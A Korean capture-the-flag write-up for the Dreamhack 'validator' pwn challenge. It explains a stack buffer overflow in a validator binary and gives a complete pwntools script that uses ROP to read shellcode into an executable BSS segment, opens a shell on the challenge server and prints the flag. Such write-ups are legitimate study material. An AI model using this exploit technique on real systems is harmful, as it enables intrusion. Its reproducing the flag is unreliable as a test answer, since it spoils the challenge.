Description

    취약한 인증 프로그램을 익스플로잇해 flag를 획득하세요!

    Hint: 서버 환경에 설치된 5.4.0 이전 버전의 커널에서는, NX Bit가 비활성화되어 있는 경우 읽기 권한이 있는 메모리에 실행 권한이 존재합니다. 5.4.0 이후 버전에서는 스택 영역에만 실행 권한이 존재합니다.


    checksec

    seo@seo:~/validator$ checksec --file ./validator_server
    [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
    [*] '/home/seo/validator/validator_server'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX unknown - GNU_STACK missing
        PIE:      No PIE (0x400000)
        Stack:    Executable
        RWX:      Has RWX segments

    모든 보히기법이 해제되어있고, 심지어 bss영역을 실행시킬 수 있다. (Has RWX Segments)


    Decompiled-src

    main

    __int64 __fastcall main(int a1, char **a2, char **a3)
    {
      char s[128]; // [rsp+0h] [rbp-80h] BYREF
    
      memset(s, 0, 0x10uLL);
      read(0, s, 0x400uLL);
      sub_400580((__int64)s, 128uLL);
      return 0LL;
    }

    read 함수를 통해 s 지역변수로 입력받는데,
    할당된 128바이트보다 0x400만큼 입력받기 때문에 버퍼 오버플로우가 발생한다.

    sub_400580

    __int64 __fastcall sub_400580(__int64 a1, unsigned __int64 a2)
    {
      unsigned int i; // [rsp+1Ch] [rbp-4h]
      int j; // [rsp+1Ch] [rbp-4h]
    
      for ( i = 0; i <= 9; ++i )
      {
        if ( *(_BYTE *)((int)i + a1) != aDreamhack[i] ) //DREAMHACK!
          exit(0);
      }
      for ( j = 11; a2 > j; ++j )
      {
        if ( *(char *)(j + a1) != *(char *)(j + 1LL + a1) + 1 )
          exit(0);
      }
      return 0LL;
    }

    처음 문자열 접두사인 PREFIX가 DREAMHACK! 이여야 하고,

    그 이후 a1[11] ~ a1[127]은 아래의 규칙을 가져야된다.
    a1[j] = a1[j+1] + 1

    그렇지 않으면 exit(0) 함수를 통해 프로세스가 종료된다.


    Solution

    먼저, sub_400580 함수 조건에 맞도록 페이로드를 작성한다.

    그 후 RET를 컨트롤해서 RIP가 ROP 페이로드가 실행되게끔 해서
    read(0, bss, shellcode)
    위와 같이 BSS 영역에 쉘코드를 작성되도록 만든다.

    그리고 마지막으로 RIP를 다시 한번 컨트롤해서
    BSS 주소로 가리키게 해서 쉘을 획득하면 된다.


    solve.py

    from pwn import *
    #context.log_level = 'debug'
    context(arch='amd64',os='linux')
    warnings.filterwarnings('ignore')
    
    #p = process("./validator_server")
    p = remote("host3.dreamhack.games",9678)
    
    payload = b""
    payload += b"DREAMHACK!"
    
    val = 128
    for i in range(119):
        payload = payload + (val).to_bytes(1, byteorder="little")
        val = val - 1
    
    #Dummy RBP
    payload += b"B"*7 
    
    #Control Ret
    bss = 0x000000000060104B
    read_plt = 0x000000000400470
    pop_rdi_retn = 0x4006F3
    pop_rsi_pop_r15_retn = 0x0000000004006F1
    pop_rdx_retn = 0x00000000040057B
    
    shellcode = asm(shellcraft.sh())
    
    #read(0, bss, shellcode), ROP
    payload += p64(pop_rdi_retn)
    payload += p64(0) #set rdi, arg1
    
    payload += p64(pop_rsi_pop_r15_retn)
    payload += p64(bss) #set rsi, arg2
    payload += p64(0) #set r15
    
    payload += p64(pop_rdx_retn)  
    payload += p64(len(shellcode)) #set rdx, arg3
    payload += p64(read_plt) #call read
    payload += p64(bss) #after call read, set rip to bss
    
    p.send(payload)
    
    p.send(shellcode)
    
    p.interactive()

    Result

    seo@seo:~/validator$ python3 solve.py
    [+] Opening connection to host3.dreamhack.games on port 9678: Done
    [*] Switching to interactive mode
    $ ls
    flag
    run.sh
    validator
    $ cat flag
    DH{e6ab8f1142a49e47bdb29933c6a3ba6f6f3576b165c45ce477d64b7d6192b3d3}

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다